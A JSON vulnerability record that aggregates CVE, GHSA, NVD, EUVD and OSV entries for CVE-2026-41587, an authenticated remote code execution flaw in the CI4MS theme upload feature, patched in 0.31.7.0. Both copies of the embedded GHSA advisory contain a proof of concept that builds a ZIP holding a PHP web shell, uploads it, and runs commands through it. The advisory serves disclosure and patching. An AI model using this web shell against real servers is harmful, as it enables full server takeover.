{"id":"CVE-2026-41587","aliases":["EUVD-2026-28260","GHSA-fw49-9xq4-gmx6"],"status":"published","title":"CI4MS: Unrestricted PHP File Upload via Theme Installation Leads to Authenticated Remote Code Execution","description":"CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. From version 0.26.0.0 to before version 0.31.7.0, a theme upload feature allows any authenticated backend user with theme-upload permission to achieve remote code execution (RCE) by uploading a crafted ZIP file. PHP files inside the ZIP are installed into the web-accessible public/ directory with no extension or content filtering, making them directly executable via HTTP. This issue has been patched in version 0.31.7.0.","severity":{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00623,"percentile":0.50173,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-434"],"published":"2026-04-29T20:42:44Z","modified":"2026-10-28T02:30:51Z","fixes":[{"ecosystem":"Packagist","package":"ci4-cms-erp/ci4ms","fixed_in":["0.31.7.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"ci4-cms-erp/ci4ms","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.0.0"},{"last_affected":"0.31.6.0"},{"fixed":"0.31.7.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"ci4-cms-erp/ci4ms","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.0.0"},{"fixed":"0.31.7.0"}]}],"versions":["0.26.0.0","0.26.1.0","0.26.2.0","0.26.3.0","0.26.3.1","0.26.3.2","0.26.3.3","0.26.3.4","0.27.0.0","0.28.0.0","0.28.3.0","0.28.4.0","0.28.5.0","0.28.6.0","0.31.0.0","0.31.1.0","0.31.2.0","0.31.3.0","0.31.4.0","0.31.5.0","0.31.6.0"]}],"products":[{"vendor":"ci4-cms-erp","product":"ci4ms"}],"references":[{"url":"https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-fw49-9xq4-gmx6","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/ci4-cms-erp/ci4ms/commit/b969465e71eacd9eb57014ad1fce1fc34fa7bca0","tags":["x_refsource_MISC","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41587","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-fw49-9xq4-gmx6"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/41xxx/CVE-2026-41587.json","tags":["advisory"]},{"url":"https://github.com/ci4-cms-erp/ci4ms","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-41587","title":"CI4MS: Unrestricted PHP File Upload via Theme Installation Leads to Authenticated Remote Code Execution","description":"CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. From version 0.26.0.0 to before version 0.31.7.0, a theme upload feature allows any authenticated backend user with theme-upload permission to achieve remote code execution (RCE) by uploading a crafted ZIP file. PHP files inside the ZIP are installed into the web-accessible public/ directory with no extension or content filtering, making them directly executable via HTTP. This issue has been patched in version 0.31.7.0.","status":"published","published":"2026-05-07T03:14:38.631Z","modified":"2026-05-07T13:43:20.471Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-434"],"updated_at":"2026-11-02T13:41:08.498858Z"}],"euvd":[{"id":"EUVD-2026-28260","description":"CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. From version 0.26.0.0 to before version 0.31.7.0, a theme upload feature allows any authenticated backend user with theme-upload permission to achieve remote code execution (RCE) by uploading a crafted ZIP file. PHP files inside the ZIP are installed into the web-accessible public/ directory with no extension or content filtering, making them directly executable via HTTP. This issue has been patched in version 0.31.7.0.","status":"published","published":"2026-05-07T03:14:38Z","modified":"2026-05-07T13:43:20Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T19:05:15.366699Z"}],"ghsa":[{"id":"GHSA-fw49-9xq4-gmx6","title":"CI4MS has Unrestricted PHP File Upload via Theme Installation that Leads to Authenticated Remote Code Execution","description":"### Summary\nA theme upload feature allows any authenticated backend user with theme-upload permission to achieve remote code execution (RCE) by uploading a crafted ZIP file. PHP files inside the ZIP are installed into the web-accessible public/ directory with no extension or content filtering, making them directly executable via HTTP.\n\n\n### Details\nFile: `modules/Theme/Controllers/Theme.php`\n\nAfter a ZIP is uploaded and extracted to a temporary directory, install_theme_from_tmp() is called unconditionally: Theme.php:51-52\n\nFile: `modules/Theme/Helpers/themes_helper.php`\n\nThe helper copies every file matching *.* from `public/templates/\u003cname\u003e/` inside the ZIP directly into `public/templates/\u003cname\u003e/` on disk using rename(), with no file-extension allowlist, no MIME check, and no content inspection: `themes_helper.php:60-68`\n\nBecause the web root is `public/`, any `.php` file placed there is directly reachable over HTTP.\n\nPHP files are also installed — without filtering — into app/Controllers/templates/\u003cname\u003e/, app/Libraries/templates/\u003cname\u003e/, and other app/ subdirectories: `themes_helper.php:31-42`\n\nThe theme name is derived from the uploaded filename via `str_replace('_theme.zip', '', $file-\u003egetName())`, so uploading `evil_theme.zip` sets the theme name to evil and the install target to `public/templates/evil/`: `Theme.php:20`\n\n### PoC\nPrerequisites: A backend account with theme upload permission (e.g., backend/themes/upload).\n\nStep 1 — Build the malicious ZIP:\n```\nimport zipfile, io  \n  \nbuf = io.BytesIO()  \nwith zipfile.ZipFile(buf, 'w') as z:  \n    z.writestr('public/templates/evil/shell.php', '\u003c?php system($_GET[\"c\"]); ?\u003e')  \nbuf.seek(0)  \nwith open('evil_theme.zip', 'wb') as f:  \n    f.write(buf.read())\n```\nStep 2 — Upload:\n```\nPOST /backend/themes/upload  \nContent-Type: multipart/form-data  \n  \nfield name: theme  \nfile:       evil_theme.zip  \n```\nStep 3 — Execute:\n```\nGET https://target.com/templates/evil/shell.php?c=id  \n```\nExpected response: output of id (e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data)).\n\n\n### Impact\nType: Authenticated Remote Code Execution (RCE) via arbitrary file write to the web root.\n\nWho is impacted: Any deployment where a backend user has been granted theme upload permission. A superadmin already has full access, but any lower-privileged role granted this permission can use it to write and execute arbitrary PHP on the server, gaining OS-level command execution under the web server process. This can be used for data exfiltration, lateral movement, persistence, or full server compromise.","status":"published","published":"2026-04-29T20:42:44Z","modified":"2026-05-08T19:55:34Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-434"],"updated_at":"2026-11-02T14:40:04.762828Z"}],"nvd":[{"id":"CVE-2026-41587","description":"CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. From version 0.26.0.0 to before version 0.31.7.0, a theme upload feature allows any authenticated backend user with theme-upload permission to achieve remote code execution (RCE) by uploading a crafted ZIP file. PHP files inside the ZIP are installed into the web-accessible public/ directory with no extension or content filtering, making them directly executable via HTTP. This issue has been patched in version 0.31.7.0.","status":"published","published":"2026-05-07T04:16:27.86Z","modified":"2026-10-26T19:10:00.163Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-434"],"updated_at":"2026-11-02T14:12:17.418622Z"}],"osv":[{"id":"CVE-2026-41587","title":"CI4MS: Unrestricted PHP File Upload via Theme Installation Leads to Authenticated Remote Code Execution","description":"CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. From version 0.26.0.0 to before version 0.31.7.0, a theme upload feature allows any authenticated backend user with theme-upload permission to achieve remote code execution (RCE) by uploading a crafted ZIP file. PHP files inside the ZIP are installed into the web-accessible public/ directory with no extension or content filtering, making them directly executable via HTTP. This issue has been patched in version 0.31.7.0.","status":"published","published":"2026-05-07T03:14:38.631Z","modified":"2026-10-28T02:30:51.289841558Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-434"],"updated_at":"2026-11-02T15:45:03.764807Z"},{"id":"GHSA-fw49-9xq4-gmx6","title":"CI4MS has Unrestricted PHP File Upload via Theme Installation that Leads to Authenticated Remote Code Execution","description":"### Summary\nA theme upload feature allows any authenticated backend user with theme-upload permission to achieve remote code execution (RCE) by uploading a crafted ZIP file. PHP files inside the ZIP are installed into the web-accessible public/ directory with no extension or content filtering, making them directly executable via HTTP.\n\n\n### Details\nFile: `modules/Theme/Controllers/Theme.php`\n\nAfter a ZIP is uploaded and extracted to a temporary directory, install_theme_from_tmp() is called unconditionally: Theme.php:51-52\n\nFile: `modules/Theme/Helpers/themes_helper.php`\n\nThe helper copies every file matching *.* from `public/templates/\u003cname\u003e/` inside the ZIP directly into `public/templates/\u003cname\u003e/` on disk using rename(), with no file-extension allowlist, no MIME check, and no content inspection: `themes_helper.php:60-68`\n\nBecause the web root is `public/`, any `.php` file placed there is directly reachable over HTTP.\n\nPHP files are also installed — without filtering — into app/Controllers/templates/\u003cname\u003e/, app/Libraries/templates/\u003cname\u003e/, and other app/ subdirectories: `themes_helper.php:31-42`\n\nThe theme name is derived from the uploaded filename via `str_replace('_theme.zip', '', $file-\u003egetName())`, so uploading `evil_theme.zip` sets the theme name to evil and the install target to `public/templates/evil/`: `Theme.php:20`\n\n### PoC\nPrerequisites: A backend account with theme upload permission (e.g., backend/themes/upload).\n\nStep 1 — Build the malicious ZIP:\n```\nimport zipfile, io  \n  \nbuf = io.BytesIO()  \nwith zipfile.ZipFile(buf, 'w') as z:  \n    z.writestr('public/templates/evil/shell.php', '\u003c?php system($_GET[\"c\"]); ?\u003e')  \nbuf.seek(0)  \nwith open('evil_theme.zip', 'wb') as f:  \n    f.write(buf.read())\n```\nStep 2 — Upload:\n```\nPOST /backend/themes/upload  \nContent-Type: multipart/form-data  \n  \nfield name: theme  \nfile:       evil_theme.zip  \n```\nStep 3 — Execute:\n```\nGET https://target.com/templates/evil/shell.php?c=id  \n```\nExpected response: output of id (e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data)).\n\n\n### Impact\nType: Authenticated Remote Code Execution (RCE) via arbitrary file write to the web root.\n\nWho is impacted: Any deployment where a backend user has been granted theme upload permission. A superadmin already has full access, but any lower-privileged role granted this permission can use it to write and execute arbitrary PHP on the server, gaining OS-level command execution under the web server process. This can be used for data exfiltration, lateral movement, persistence, or full server compromise.","status":"published","published":"2026-04-29T20:42:44Z","modified":"2026-05-08T20:05:52.627188Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-434"],"updated_at":"2026-11-02T15:46:47.119724Z"}]}}
